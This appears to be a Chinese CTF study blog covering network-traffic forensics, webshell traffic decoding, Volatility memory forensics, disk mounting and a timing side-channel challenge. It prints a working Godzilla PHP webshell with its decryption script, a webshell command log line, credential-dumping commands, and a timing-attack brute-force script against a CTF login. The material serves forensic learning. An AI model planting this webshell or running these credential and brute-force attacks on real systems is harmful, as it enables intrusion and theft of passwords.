HTTP/2（原名HTTP 2.0）即超文本传输协议第二版，使用于万维网。 HTTP/2主要基于SPDY协议，通过对HTTP头字段进行数据压缩、对数据传输采用多路复用和增加服务端推送等举措，来减少网络延迟，提高客户端的页面加载速度。
在TLS中，若http并没有被隐藏，可能是http2
端口扫描
在wireshark中打开流量包，在分析->专家信息->RST中，可以查看，下面是一个讲的蛮详细的文章
WireShark教程 – 黑客发现之旅(5) – (nmap)扫描探测_cve-2009-3103-CSDN博客
特定参数作为密钥
在某些 Webshell 设计中，攻击者会使用特定的参数名称来访问和控制 Webshell，比如这个fxxk，这里 fxxk 不仅是一个参数名，还充当密码作用，即：服务器只会在接收到 fxxk 参数时，才允许执行参数中的命令。攻击者知道只有当传递正确的参数名和内容时，服务器才会执行代码，这样能对抗简单的检测和过滤。
例：172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET //ma.php?fxxk=system(base64_decode('d2hvYW1p')); HTTP/1.1" 200 38 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
WebShell：冰蝎、蚁剑、哥斯拉
之前做流量题遇到过这三个流量，还是要多多学习，觉得下面的文章写的蛮详细的，作为学习
Web shell 与 冰蝎、蚁剑、哥斯拉（新手必看）-CSDN博客
蚁剑流量
注意后面的字符串
Y2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZtb3ZlIDEucmFyIGM6XHBocHN0dWR5X3Byb1x3d3dcJmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg=
解码得到：
cd /d "c:\\Windows\\Temp"&move 1.rar c:\phpstudy_pro\www\&echo efa923ba504&cd&echo 1a4be8815ef8
哥斯拉流量解密
源码：
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='verter';
$payloadName='payload';
$key='cb42e130d1471239';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
key是密钥
解密脚本：
<?php
//直接使用encode方法
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$key='3c6e0b8a9c15224a';
$key1="72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488";//输入密文
$str=substr($key1,16,-16);//原来的数据去掉前十六位和后十六位
$str=gzdecode(encode(base64_decode($str),$key));
echo $str;
?>
解密脚本中的密钥应和源码中的密钥一致
Wifi安全协议：解密无线网络数据包
wireshark 如何解密wifi data packets_wireshark解密wifi数据包-CSDN博客
sql注入脚本提取字符串
import re
# 初始化一个字典，存储按位置提取的 ASCII 值
```
ascii_by_position = {}
# 打开并读取数据文件
with open("123.txt", "r", encoding="utf-8") as f:
for line in f.readlines():
# 提取字符位置和对应的 ASCII 值
match = re.search(r"substr\(\(.*?\),(\d+),1\)\)=([0-9]+)--\+", line)
if match:
position = int(match.group(1)) # 提取字符位置
ascii_value = int(match.group(2)) # 提取 ASCII 值
# 过滤 ASCII 范围，只记录可打印字符
if 32 <= ascii_value <= 126:
# 每个位置只存储一个值
ascii_by_position[position] = ascii_value
# 按位置排序并拼接字符
flag = ''.join(chr(ascii_by_position[pos]) for pos in sorted(ascii_by_position.keys()))
# 输出提取的 flag
print("Extracted Flag:", flag)
```
tshark
感觉这个要用很多所以整理了一下常用的参数命令
捕获与读取相关参数
-
-i <interface>-
功能：指定要进行数据包捕获的网络接口。
tshark -i eth0这会在
eth0接口上开始捕获数据包。
-
-
-D-
功能：列出可用的网络接口。
tshark -D输出当前系统上所有可用的网络接口。
-
-
-r <file.pcap>-
功能：从指定的
.pcap文件读取数据包，而不是进行实时捕获。tshark -r capture.pcap读取并分析
capture.pcap文件中的数据包。
-
-
-w <file.pcap>-
功能：将捕获的数据包保存到指定的
.pcap文件中。tshark -i eth0 -w capture.pcap将
eth0接口上的捕获数据包保存为capture.pcap文件。
-
-
-c <count>-
功能：捕获指定数量的数据包后自动停止。
tshark -i eth0 -c 100捕获 100 个数据包后停止。
-
-
-a <condition>-
功能：设置自动停止捕获的条件。常用的条件包括：
duration:<seconds>：捕获指定时间（秒）后停止。filesize:<size>：当文件达到指定大小时停止。count:<num>：捕获指定数量的数据包后停止。
tshark -i eth0 -a duration:60捕获 60 秒后自动停止。
-
过滤器相关参数
-
-f <capture filter>-
功能：指定捕获过滤器，只捕获符合条件的数据包。捕获过滤器使用
libpcap语法。tshark -i eth0 -f "tcp port 80"只捕获目的端口为 80 的 TCP 包（如 HTTP 流量）。
-
-
-Y <display filter>-
功能：应用显示过滤器，只显示符合条件的数据包。显示过滤器使用 Wireshark 的过滤语法。
tshark -r capture.pcap -Y "http"只显示 HTTP 协议的数据包。
-
-
-F <file type>-
功能：指定输出文件的格式，支持多种格式，如
pcap,json,csv等。tshark -r capture.pcap -F json将输出结果以 JSON 格式显示。
-
输出相关参数
-
-V-
功能：显示数据包的详细信息，包括所有协议层的详细解析。
tshark -r capture.pcap -V显示每个数据包的详细层级信息。
-
-
-T <output format>-
功能：指定输出格式，常用的有：
fields：输出字段。json：输出 JSON 格式。pdml：输出 XML 格式（Wireshark 的文档格式）。text：默认文本格式。
tshark -r capture.pcap -T fields -e ip.src -e ip.dst显示数据包的源 IP 和目标 IP。
-
-
-e <field>-
功能：指定要显示的特定字段。可与
-T fields一起使用。tshark -r capture.pcap -T fields -e ip.src -e ip.dst显示每个数据包的源和目标 IP 地址。
-
-
-E <option>-
功能：定制字段输出的格式。常见的选项包括：
separator=<char>：设置字段分隔符（默认是制表符\t）。quote=<boolean>：是否为字段值加引号。occurrence=<number>：显示字段的第几次出现。
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -E separator=, > output.csv将 IP 地址字段以逗号分隔并保存为 CSV 格式。
-
-
-z <statistics>-
功能：获取统计信息。例如：
io,stat：显示输入/输出统计。frame：显示数据包计数。tcp：显示 TCP 统计信息（如流量、包大小等）。
tshark -r capture.pcap -z io,stat,0,COUNT显示数据包计数的统计信息。
-
时间相关参数
-
-t <time format>-
功能：指定数据包的时间戳显示格式。常见的格式有：
a：绝对时间。d：相对时间（从捕获开始）。u：UTC 时间。
tshark -r capture.pcap -t a显示每个数据包的绝对时间戳。
-
-
-z <statistics>-
功能：用来获取基于时间的统计信息。
tshark -r capture.pcap -z io,stat,0,COUNT按时间统计数据包的数量。
-
其他常用参数
-
-x-
功能：显示数据包的原始十六进制和 ASCII 转储。
tshark -r capture.pcap -x显示每个数据包的原始数据（十六进制和 ASCII）。
-
结合使用的示例
-
捕获指定接口的数据包并保存到文件
tshark -i eth0 -w capture.pcap在
eth0接口上实时捕获数据包，并将其保存到capture.pcap文件中。 -
读取
pcap文件并提取特定字段tshark -r capture.pcap -T fields -e ip.src -e ip.dst -E separator=, > output.csv从
capture.pcap文件中提取源 IP 和目标 IP，并保存为 CSV 格式。 -
显示 TCP 流的信息
tshark -r capture.pcap -Y "tcp" -V读取
capture.pcap文件，显示所有 TCP 包的详细信息。 -
捕获并过滤特定端口的数据包
tshark -i eth0 -f "tcp port 443"捕获
eth0接口上所有 TCP 端口为 443 的数据包（即 HTTPS 流量）。
端口号
查看开放的端口号一般是看攻击者用了什么扫描工具对主机进行扫描
nmap的SYN半开扫描：
这种扫描方式通过发送 SYN 包到目标端口来判断端口的状态
SYN扫描的工作原理
- 发送 SYN 包：Nmap 向目标主机的特定端口发送 SYN 包
- 接收响应： 如果收到 SYN/ACK 回复，说明端口是开放的。 如果收到 RST 包，说明端口是关闭的。 如果没有收到回复，说明端口被屏蔽（Filtered）
可以过滤SYN = 0的数据包来查看开放了哪些端口
tcp.flags.syn==0
过滤服务器开放的端口
ip.dst==192.168.162.188&&tcp.connection.synack
服务器IP是192.168.162.188
数据库流量
协议分级里面选中mysql，过滤出来的数据包进行追踪流可以看到里面都是sql查询语句
可以搜索关键词进行信息搜索，比如：data、info之类的
后面又整理了个详细高阶点的：
后门与病毒
D盾查杀
使用D_Safe_Manage打开文件扫描找恶意文件
exe文件类型的木马病毒
可以尝试放进云沙箱中进行检测，查看威胁
内存取证
volatility
volatility，内存取证工具
python2 vol.py -f 镜像名 --profile=操作系统 后接不同命令
lsadump
python2 vol.py -f 镜像名 --profile=操作系统 lsadump//提取敏感安全信息
python2 vol.py -f 镜像名 --profile=操作系统 lsadump -Q 文件的虚拟地址 -D 文件输出路径//下载文件
其中的一个插件lsadump 是一个用于从内存镜像中提取敏感安全信息的，特别是与 Windows 安全账户管理（SAM）和本地安全机构（LSA）服务相关的信息。这些信息通常包括密码哈希、明文密码以及系统密钥等。该插件非常有用，特别是在数字取证和应急响应中，可以帮助分析人员获取登录凭证，以进一步了解系统的安全状态或是否被恶意软件入侵。
lsadump 插件的主要作用如下：
- 提取 NTLM 哈希：
- NTLM（NT LAN Manager）哈希是一种用于验证 Windows 用户密码的加密哈希值。
- 通过提取这些哈希值，分析人员可以进一步验证系统用户的身份信息，有时也可以通过暴力破解手段获取明文密码。
- 提取明文凭证：
- 在某些系统配置中，
lsadump插件可以提取明文形式的用户凭证（即未加密的用户名和密码）。 - 这些凭证可以帮助分析人员更快地验证用户信息。
- 在某些系统配置中，
- 抓取安全关键数据（如 LSA Secrets）：
- LSA Secrets 是 Windows LSA 服务中存储的敏感信息，可能包含服务账户密码、远程桌面连接凭证、系统密钥等。
- 这些信息对调查是否存在恶意活动以及分析攻击者可能的操作路径非常重要。
- Kerberos 密钥提取：
- 在 Windows 环境中，Kerberos 是一种网络身份验证协议。
lsadump插件能够提取用于 Kerberos 认证的密钥，使得分析人员可以研究潜在的攻击行为（如 "黄金票据" 攻击）。
- 在 Windows 环境中，Kerberos 是一种网络身份验证协议。
使用场景
- 密码恢复：当合法用户忘记密码时，可以使用
lsadump获取哈希并尝试恢复密码。 - 安全审计和应急响应：在调查系统是否被入侵时，分析人员可以通过
lsadump来识别和恢复恶意用户添加的隐藏账户或窃取的用户凭证。 - 取证分析：在系统感染恶意软件后，取证人员可以用
lsadump来识别攻击者窃取的凭证和安全数据。
filescan
在 Volatility 中，filescan 是一个用于扫描和定位内存镜像中文件对象的插件。它的作用是扫描操作系统的物理内存，寻找与文件相关的数据结构，以帮助分析人员在内存中定位文件。filescan 使用的是一种称为“池扫描”（pool scanning）的技术，可以直接在原始内存中找到文件对象，而无需依赖文件系统元数据。
filescan 会扫描内存中的各种文件对象，包括：
- 文件句柄：表示进程对文件的引用。
- 文件控制块 (FCB)：文件系统使用的数据结构，描述文件在磁盘上的位置、大小和权限等信息。
- 文件描述符表：包含有关文件的其他信息。
通常是和grep命令一起使用作为过滤
hashdump
查看密码哈希值
例如：taqi7:1000:aad3b435b51404eeaad3b435b51404ee:7f21caca5685f10d9e849cc84c340528:::
- taqi7：用户名
- 1000：RID (Relative Identifier)。这是与用户名相关的标识符，用于标识用户在本地安全标识符 (SID) 中的唯一性
- aad3b435b51404eeaad3b435b51404：LM 哈希 (LAN Manager Hash)
- 7f21caca5685f10d9e849cc84c340528：NT 哈希 (NTLM Hash)。这是密码的 MD4 哈希，是 NTLMv1 和 NTLMv2 验证中常用的部分
可以用解密工具解密MD5
pslist
查看可疑进程，比较PID和PPID查看是否可疑
例如：0xfffffa800f103b30 MagnetRAMCaptu 2192 2044 16 333 1 1 2022-04-28 05:54:30 UTC+0000
-
0xfffffa800f103b30：内存地址
-
MagnetRAMCaptu：进程名称。应该是MagnetRAMCapture，是一种内存取证工具，用于捕获操作系统当前的内存镜像，常用于数字取证和事件调查
-
2192：表示进程的 PID（Process Identifier），即进程 ID。每个运行中的进程都有唯一的 PID，方便识别
-
2044：表示进程的 PPID（Parent Process Identifier），即父进程的 ID。表示创建或管理该进程的上级进程的 ID
-
16：表示该进程当前的线程数
-
333：表示该进程的句柄数。句柄是操作系统分配给进程的资源（如文件、设备等）的标识符
-
1：通常表示进程的优先级类。优先级值会影响进程在 CPU 中的调度。优先级为 1 表示默认优先级
-
1：可能表示进程的执行状态（具体含义视工具而定）。通常 1 表示进程正在运行或活动
查看主机名
先查看注册表找到SYSTEM
主机名在System的 ControlSet\Control\ComputerName\ComputerName条目中
运行命令：
python2 vol.py -f OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001\Control\ComputerName\ComputerName"
netscan
查看IP
memdump
保存进程
python2 vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D .
cmdline
可以追踪到程序的调用指令
python2 vol.py -f OtterCTF.vmem --profile=Win7SP1x64 cmdline -p 3820,3720
3820和3720是进程号
华为加密文件恢复
下载工具：https://github.com/RealityNet/kobackupdec
使用命令：
python3 kobackupdec.py -vvv 密码 文件夹名称 输出路径//输出路径要是新创建的
GUID
全局唯一标识符（GUID，Globally Unique Identifier）是一种由算法生成的二进制长度为128位的数字标识符。GUID主要用于在拥有多个节点、多台计算机的网络或系统中。世界上的任何两台计算机都不会生成重复的 GUID 值。GUID 主要用于在拥有多个节点、多台计算机的网络或系统中，分配必须具有唯一性的标识符。在 Windows 平台上，GUID 应用非常广泛：注册表、类及接口标识、数据库、甚至自动生成的机器名、目录名等。
在内存取证中，网卡的GUID和接口绑定，在在文件中搜索Interfaces，后面所接的便是GUID
这是我遇到过的，可能也不全对
Windows Registry Recovery
是一个用来修复损坏的 Windows 注册表文件的工具，在工具里面打开SYSTEM文件，在ROOT\ControlSet001\Control\FVEStats里的OsvEncryptInit和OsvEncryptComplete可以看到注册表的创建和删除时间
可疑进程的文件分析
在可疑进程中是可以使用文件分离分离出一些文件的，比如图片、文档或者其他有用的信息
磁盘取证
挂载方式
FTK
可以直接挂载img文件在主机的磁盘上面
VMware
虚拟机挂载
veracryto
这个和FTK类似，直接挂载，但是需要输入密码
之前做过一个题目是直接挂载的txt文件，那个文件用file命令也看不出来是什么文件，只显示data，所以这个工具也不拘泥于特定文件后缀，当遇到有密码的题目时可以用作尝试
7z
vmdk文件有时候可以直接用7z打开就能看到文件
作为loop设备挂载
这个是之前做的一个题目题解给的方法
losetup --find --show -P ./disk
losetup
Linux 的 loop 设备管理工具，用于将普通文件当作块设备（如磁盘）使用。
--find (-f)
自动寻找一个可用的 loop 设备（如 /dev/loop0, /dev/loop1 等）。
--show
输出分配的 loop 设备名称（例如 /dev/loop0）。
-P
解析文件中的 分区（partition） 并创建相应的设备节点（如 /dev/loop0p1、/dev/loop0p2 等）。
适用于 MBR/GPT 磁盘映像，否则默认只创建 /dev/loopX 而不会解析分区。
详细说明：Linux 磁盘管理-挂载磁盘-【mount -o loop】挂载iso镜像和自定义回环设备_mount loop iso-CSDN博客
相关目录
账号信息
/etc/passwd
哈希密码
/etc/shadow
系统级定时任务
/etc/crontab
系统标识文件
/etc/issue
火狐默认用户配置文件
通常，Firefox 会为每个用户生成一个独立的配置文件，每个配置文件会有一个以随机字符串或特定名称命名的文件夹。default-release 表示这是一个默认的配置文件，通常是用户第一次运行 Firefox 时创建的
比如：spk3lcsa.default-release
恢复数据就直接将文件夹复制到自己的火狐文件夹下面，打开命令提示符输入命令：
firefox.exe -profile spk3lcsa.default-release
随后firefox就会读取这个目录并作为配置打开
安卓取证
ALEAPP
取证分析工具，把整个文件放进去就可以分析，基本包含了整个手机的一些基本文件和浏览痕迹
网站
时间侧信道
在网站源码里面发现比较明显的sleep函数时想到这个
比如：
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
PASSWORD = request.form.get('password')
if len(PASSWORD) != len(CORRECT_PASSWORD):
return render_template('login.html', error='密码长度错误')
for i in range(len(PASSWORD)):
if PASSWORD[i] != CORRECT_PASSWORD[i]:
return render_template('login.html', error='密码错误')
time.sleep(0.1)
session['logged_in'] = True
session['username'] = generate_random_username()
return redirect(url_for('index'))
return render_template('login.html')
return render_template('index.html')
这个就是当密码正确一位时就延迟0.1秒，根据这个延迟就能对密码进行爆破，如，假设密码是5位，用户输入全部正确，那么在每次循环时，比较正确后，会sleep 0.1秒。这样总共有5次循环，每次循环后sleep，所以总延迟是5x0.1=0.5秒。而如果用户输入在第3位错误，那么前两位正确，每次比较正确后sleep 0.1，然后在第三次比较时错误，返回。所以总时间是前两次循环的sleep加上第三次循环的比较时间。那么总延迟是2x0.1秒=0.2秒。这样，攻击者可以通过测量响应时间来判断正确字符的数量。例如，如果响应时间越长，说明正确的字符越多。比如，正确密码是5位，当输入正确时，总延迟0.5秒。而当输入前两位正确，第三位错误，则延迟是0.2秒。这样，攻击者可以逐个字符猜测，观察响应时间的变化，从而推断出每个位置的正确字符
爆破脚本：
import requests
import time
import string
def find_password_length(url):
for length in range(1, 20):
data = {'password': 'a' * length}
try:
response = requests.post(url, data=data)
if '密码长度错误' not in response.text:
return length
except:
continue
return None
def brute_force_password(url, length):
correct = []
with requests.Session() as s:
for i in range(length):
max_time = 0
best_char = None
#字母
char_set = string.ascii_lowercase + string.ascii_uppercase
#全字符
#char_set = string.ascii_letters + string.digits + "!@#$%^&*()_+-=[]{}|;:,.<>?/"
for c in char_set:
guess = ''.join(correct) + c + 'a' * (length - i - 1)
data = {'password': guess}
total_time = 0
valid = False
for _ in range(3):
try:
start = time.perf_counter()
response = s.post(url, data=data)
end = time.perf_counter()
if '密码错误' not in response.text:
print(f"\n[!] Password found: {guess}")
return guess
if '密码错误' in response.text:
total_time += (end - start)
valid = True
except:
continue
if not valid:
continue
avg_time = total_time / 3
expected_time = (i + 1) * 0.1 # 预期时间阈值
# print(f"Trying '{c}': {avg_time:.3f}s (expected: {expected_time:.1f}s)", end='\r')
# 寻找最接近预期时间的字符（允许±0.05秒误差）
if avg_time >= expected_time - 0.05 and avg_time > max_time:
max_time = avg_time
best_char = c
if best_char:
correct.append(best_char)
print(f"\n[+] Found char {i + 1}/{length}: {best_char} ({''.join(correct)})")
else:
print(f"\n[-] Failed at position {i}")
return None
return ''.join(correct)
if __name__ == "__main__":
target_url = "http://node1.anna.nssctf.cn:28840/login"
print("[*] Determining password length...")
pwd_length = find_password_length(target_url)
if pwd_length:
print(f"[+] Password length: {pwd_length}")
print("[*] Starting password brute force...\n")
password = brute_force_password(target_url, pwd_length)
if password:
print(f"\n[!] Successful! Password: {password}")
else:
print("\n[-] Failed to brute force password")
else:
print("[-] Failed to determine password length")
虚拟机
给出可以用VMware打开的虚拟机，可以在/var/www/html/目录来找有用信息
编码
这个我另外起了个文章目前遇到过的编码 - akaashi_keiji - 博客园
浙公网安备 33010602011771号